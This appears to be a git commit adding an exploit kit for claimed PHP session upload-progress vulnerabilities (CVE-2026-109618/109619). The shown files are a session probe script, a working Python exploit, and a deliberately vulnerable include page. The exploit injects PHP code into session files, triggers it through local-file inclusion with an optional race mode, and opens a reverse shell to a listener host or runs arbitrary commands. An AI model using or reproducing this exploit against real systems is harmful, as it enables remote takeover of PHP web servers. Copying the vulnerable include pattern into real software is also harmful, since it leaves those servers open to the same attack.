PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)

Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
neko
2026-10-21 11:29:40 -05:00
commit e58bb493af
16 changed files with 3113 additions and 0 deletions
+20
View File
@@ -0,0 +1,20 @@
<?php
$pid = getmypid();
$status_pre = session_status();
$sid_pre = session_id();
$ok = @session_start();
$status_post = session_status();
$sid_post = session_id();
$sess_data = isset($_SESSION) ? $_SESSION : null;
$sess_keys = is_array($sess_data) ? array_keys($sess_data) : 'NULL';
$sess_payload_len = is_array($sess_data) && isset($sess_data['payload']) ? strlen($sess_data['payload']) : 0;
header('Content-Type: text/plain');
echo "pid=$pid\n";
echo "session_status_before=$status_pre\n";
echo "session_id_before=$sid_pre\n";
echo "session_start_ok=" . var_export($ok, true) . "\n";
echo "session_status_after=$status_post\n";
echo "session_id_after=$sid_post\n";
echo "session_keys=" . (is_array($sess_keys) ? implode(',', $sess_keys) : $sess_keys) . "\n";
echo "session_payload_len=$sess_payload_len\n";
+686
View File
@@ -0,0 +1,686 @@
#!/usr/bin/env python3
"""
CVE-2026-109619 — RCE via PHP session upload progress
PHP's session.upload_progress feature (enabled by default) writes
upload progress data to the session file during multipart request
parsing. The progress key stored in the session is constructed as:
session.upload_progress.prefix + $_POST[session.upload_progress.name]
The attacker controls the POST field value, and the session file
serializer (php format) stores the key VERBATIM — the only character
filtered is '|' (the key/value delimiter). This means arbitrary
bytes, including PHP code, are written into the session file on disk.
The session file path is predictable:
<session.save_path>/sess_<PHPSESSID>
Common default paths:
/tmp/sess_*
/var/lib/php/sessions/sess_*
Exploitation:
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
embedded PHP code: <?php system($cmd); ?>
2. The upload progress callback writes this to the session file.
3. Include the session file via any local-file-include vector:
- Direct include() / require() with attacker-controlled path
- PHP stream wrappers (php://filter)
- Log/session file inclusion (a classic PHP attack)
4. The PHP engine parses the session file, finds the <?php ?> tag
within the serialized data, and executes the injected code.
The exploit automates all steps: it obtains a session ID, injects code
via upload progress, and triggers inclusion for RCE.
Requirements
------------
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
- session.serialize_handler = php (default)
- Target endpoint calls session_start()
- An LFI vector OR known session save path + include primitive
- Tested on PHP 8.0–8.4 x86_64 Linux
Usage
-----
# Reverse shell via LFI
python3 exploit.py --target http://target/app.php \\
--lfi-param page \\
--session-path /tmp \\
--lhost 10.0.0.1 --lport 4444
# Trigger-only (write code to session, report path)
python3 exploit.py --target http://target/app.php --trigger-only
# Custom command
python3 exploit.py --target http://target/app.php \\
--lfi-param page --session-path /tmp \\
--cmd "id > /tmp/pwned"
"""
import argparse
import io
import os
import socket
import sys
import time
import re
import threading
# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
DEFAULT_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/session",
]
# ---------------------------------------------------------------------------
# Multipart helpers
# ---------------------------------------------------------------------------
def multipart_field(name: bytes, value: bytes) -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n"
)
def multipart_file(name: bytes, filename: bytes, content: bytes,
content_type: bytes = b"application/octet-stream") -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: " + content_type + b"\r\n"
b"\r\n" + content + b"\r\n"
)
def multipart_end() -> bytes:
return b"--" + BOUNDARY + b"--\r\n"
# ---------------------------------------------------------------------------
# Payload construction
# ---------------------------------------------------------------------------
def make_php_payload(cmd: str) -> bytes:
"""Craft PHP code to inject into the session file via progress key.
The code is embedded in the progress key prefix, so it ends up as:
upload_progress_<PHP_CODE>
in the session file. When the file is included, PHP parses and
executes the <?php ?> block."""
return f'<?php {cmd} ?>'.encode()
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
cmd = (
f"$sock=fsockopen('{lhost}',{lport});"
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
)
return make_php_payload(cmd)
def make_cmd_payload(cmd: str) -> bytes:
return make_php_payload(f'system("{cmd}");')
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets for precision)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host: str, port: int, tls: bool):
sock = socket.create_connection((host, port), timeout=10)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5) -> bytes:
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
headers = resp[:hdr_end]
# Check Content-Length
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
if m:
cl = int(m.group(1))
body_so_far = len(resp) - hdr_end
while body_so_far < cl:
more = sock.recv(8192)
if not more:
break
resp += more
body_so_far += len(more)
break
# Check chunked
if b'Transfer-Encoding: chunked' in headers:
if b"\r\n0\r\n" in resp:
break
continue
# No CL, no chunked — read until timeout
try:
more = sock.recv(4096)
if more:
resp += more
except socket.timeout:
pass
break
except socket.timeout:
pass
return resp
def _send_http(sock, method: bytes, host: str, path: str,
body: bytes = b"", headers: dict = None,
content_type: bytes = None, keepalive: bool = True) -> bytes:
conn = b"keep-alive" if keepalive else b"close"
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
req += b"Host: " + host.encode() + b"\r\n"
if content_type:
req += b"Content-Type: " + content_type + b"\r\n"
if body:
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
req += b"Connection: " + conn + b"\r\n"
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"\r\n"
sock.sendall(req + body)
return _recv_response(sock)
def _extract_cookies(resp: bytes) -> dict:
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def _decode_chunked(data: bytes) -> bytes:
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
size_str = data[:line_end].split(b";")[0].strip()
try:
chunk_len = int(size_str, 16)
except ValueError:
break
if chunk_len == 0:
break
start = line_end + 2
out += data[start:start + chunk_len]
data = data[start + chunk_len + 2:]
return out
def _extract_body(resp: bytes) -> bytes:
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_code(resp: bytes) -> int:
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
# ---------------------------------------------------------------------------
# Exploit phases
# ---------------------------------------------------------------------------
def phase1_get_session(sock, host, path) -> str:
"""Get a valid PHPSESSID from the target."""
resp = _send_http(sock, b"GET", host, path)
cookies = _extract_cookies(resp)
sid = cookies.get("PHPSESSID")
if not sid:
body = _extract_body(resp)
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
if m:
sid = m.group(1).decode()
return sid
def phase2_inject(sock, host, path, session_id: str,
php_code: bytes) -> tuple:
"""Inject PHP code into the session file via upload progress."""
body = io.BytesIO()
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
# fields — PHP processes form fields in order and initialises the
# progress tracker when it sees this field.
body.write(multipart_field(PROGRESS_FIELD, php_code))
# A file upload is required to trigger the progress write-back.
# The callback only writes progress data on FILE_START/DATA/END events.
body.write(multipart_file(
b"file", b"payload.bin",
b"\x00" * 8192,
))
body.write(multipart_end())
body_bytes = body.getvalue()
ct = b"multipart/form-data; boundary=" + BOUNDARY
resp = _send_http(
sock, b"POST", host, path,
body=body_bytes,
content_type=ct,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
return _status_code(resp), _extract_body(resp)
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
"""Send a slow multipart upload to keep session file populated.
Used for race condition against cleanup=1: the session file contains
our PHP code during the entire upload. A concurrent request can
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
"""
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = _connect(host, port, tls)
# Build progress field + start of file upload
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total_body = len(head) + file_size + len(tail)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total_body).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(req + head)
chunk = b"\x00" * 4096
sent = 0
start_time = time.time()
try:
while sent < file_size and (time.time() - start_time) < duration:
to_send = min(4096, file_size - sent)
sock.sendall(chunk[:to_send])
sent += to_send
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
_recv_response(sock, timeout=2)
except:
pass
sock.close()
def phase3_include(sock, host, path, session_id: str,
session_path: str, lfi_param: str) -> tuple:
"""Trigger LFI to include the poisoned session file."""
sess_file = f"{session_path}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=False,
)
return _status_code(resp), _extract_body(resp)
# ---------------------------------------------------------------------------
# Session path discovery
# ---------------------------------------------------------------------------
def discover_session_path(sock, host, path, session_id: str,
lfi_param: str, paths: list) -> str:
"""Try common session save paths to find the right one."""
for sp in paths:
sess_file = f"{sp}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
body = _extract_body(resp)
status = _status_code(resp)
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
return sp
return ""
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def run(target: str, lhost: str, lport: int, trigger_only: bool,
cmd: str, lfi_param: str, session_path: str, attempts: int,
race: bool = False):
host, port, tls, path = _parse_url(target)
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
print(f"[*] Target: {target}")
if trigger_only:
print(f"[*] Mode: trigger-only (inject code, report path)")
elif cmd:
print(f"[*] Mode: command execution")
print(f"[*] Command: {cmd}")
else:
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
if race:
print(f"[*] Race: enabled (works with cleanup=1)")
print()
# Build payload
if trigger_only:
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
elif cmd:
cmd_safe = cmd.replace('"', '\\"')
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
else:
if not lhost or not lport:
print("[!] --lhost and --lport required for reverse shell mode")
sys.exit(1)
php_code = make_reverse_shell_payload(lhost, lport)
# Race condition mode: send slow upload + concurrent LFI
if race and lfi_param:
return _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sock = _connect(host, port, tls)
# Phase 1: Get session ID
print("[*] Phase 1: Obtaining session ID...")
sid = phase1_get_session(sock, host, path)
if not sid:
sid = os.urandom(13).hex()
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
else:
print(f"[+] PHPSESSID: {sid}")
# Phase 2: Inject PHP code via upload progress
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
status, body = phase2_inject(sock, host, path, sid, php_code)
print(f" Response: HTTP {status}")
if status == 200:
print("[+] Upload progress request accepted — code injected into session file")
elif status == 502:
print("[!] 502 — worker crashed. Retrying...")
sock.close()
time.sleep(0.5)
continue
else:
print(f"[!] Unexpected status {status}")
if trigger_only:
print()
print("[+] Session file poisoned successfully.")
print(f"[*] Session ID: {sid}")
print(f"[*] The session file contains injected PHP code.")
print(f"[*] Common session file locations:")
for sp in DEFAULT_SESSION_PATHS:
print(f" {sp}/sess_{sid}")
print()
print("[*] To verify, include the session file via LFI:")
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
print()
print("[*] Or check the file directly on the target server:")
print(f" cat /tmp/sess_{sid}")
print(f" strings /var/lib/php/sessions/sess_{sid}")
sock.close()
return True
# Phase 3: Trigger inclusion
if not lfi_param:
print()
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
print(f"[*] Trigger manually: include the session file via LFI")
print(f" {target}?PARAM={session_path}/sess_{sid}")
sock.close()
return True
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
if not session_path:
print("[*] No --session-path given, trying common paths...")
session_path = discover_session_path(
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
if session_path:
print(f"[+] Found session path: {session_path}")
else:
print("[!] Could not auto-detect session path. Try --session-path")
sock.close()
continue
# Need a fresh connection (the POST consumed the keepalive)
try:
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
except (BrokenPipeError, ConnectionResetError, OSError):
sock.close()
sock = _connect(host, port, tls)
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
print(f" Response: HTTP {status}")
body_text = body.decode(errors='replace')
if "CVE-2026-109619:" in body_text:
# Trigger-only canary found in output
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0].split("\x00")[0][:200]
print(f"[+] CODE EXECUTION CONFIRMED!")
print(f" Output: {marker}")
sock.close()
return True
elif cmd and status == 200:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
output = m.group(1).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
sock.close()
return True
elif "upload_progress_" in body_text:
print(f"[+] Session file included but code may not have executed")
print(f" (serialized session data visible in response)")
sock.close()
return True
else:
print(f"[!] Inclusion did not produce expected output. Body preview:")
print(f" {body_text[:300]}")
elif not cmd and not trigger_only and status == 200:
print(f"[*] Request sent — check listener on {lhost}:{lport}")
sock.close()
return True
else:
print(f"[!] Inclusion may have failed. Body preview:")
print(f" {body_text[:200]}")
sock.close()
print()
print()
if trigger_only:
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
elif cmd or (lhost and lport):
print("[*] Done. If RCE did not fire, check:")
print(" - session.upload_progress.enabled = 1")
print(" - session.serialize_handler = php (default)")
print(" - LFI parameter name (--lfi-param)")
print(" - Session save path (--session-path)")
return False
def _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts):
"""Race condition mode: works with session.upload_progress.cleanup=1.
Sends a slow multipart upload to keep the session file populated with
our PHP code, while concurrently trying to include it via LFI.
"""
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
print(f"[+] Session ID: {sid}")
# Start slow upload in background thread
print("[*] Starting slow upload (keeps session file alive)...")
upload_thread = threading.Thread(
target=phase2_inject_slow,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True,
)
upload_thread.start()
time.sleep(0.3)
# Race: try LFI repeatedly while upload is in progress
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
lfi_sid = os.urandom(16).hex()
print("[*] Racing LFI requests against upload...")
hit = False
for i in range(100):
if not upload_thread.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess_file}"
try:
sock = _connect(host, port, tls)
resp = _send_http(
sock, b"GET", host, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
keepalive=False,
)
sock.close()
body = _extract_body(resp)
body_text = body.decode(errors="replace")
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
hit = True
if "CVE-2026-109619:" in body_text:
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0][:200]
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
print(f" {marker}")
elif "CVE2026:" in body_text:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
print(result)
print("[+] ═════════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
return True
elif b"upload_progress_" in body:
print(f" [+] Session file found at {sp} — content visible")
if trigger_only:
print(f"[+] Session poisoning confirmed (race won)")
return True
except:
pass
time.sleep(0.02)
upload_thread.join(timeout=2)
if hit:
return True
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
print(" Try: --attempts 10 or check --session-path")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109619: PHP session upload progress → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 --lfi-param page
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --race
""")
p.add_argument("--target", "-t", required=True,
help="Target URL (PHP endpoint with session_start())")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--cmd", help="Command to execute (alternative to reverse shell)")
p.add_argument("--trigger-only", action="store_true",
help="Inject code into session file only — no inclusion/RCE")
p.add_argument("--lfi-param", default="",
help="Query parameter for LFI (e.g., 'page', 'file', 'template')")
p.add_argument("--session-path", default="",
help="session.save_path on target (e.g., /tmp, /var/lib/php/sessions)")
p.add_argument("--race", action="store_true",
help="Race condition mode — works with cleanup=1 (default config)")
p.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default 3)")
args = p.parse_args()
if not args.trigger_only and not args.cmd and not args.lhost:
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
sys.exit(1)
run(args.target, args.lhost, args.lport, args.trigger_only,
args.cmd, args.lfi_param, args.session_path, args.attempts,
race=args.race)
if __name__ == "__main__":
main()
+9
View File
@@ -0,0 +1,9 @@
<?php
session_start();
$pid = getmypid();
if (isset($_GET['page'])) {
include($_GET['page']);
}
echo "pid=$pid sid=" . session_id() . "\n";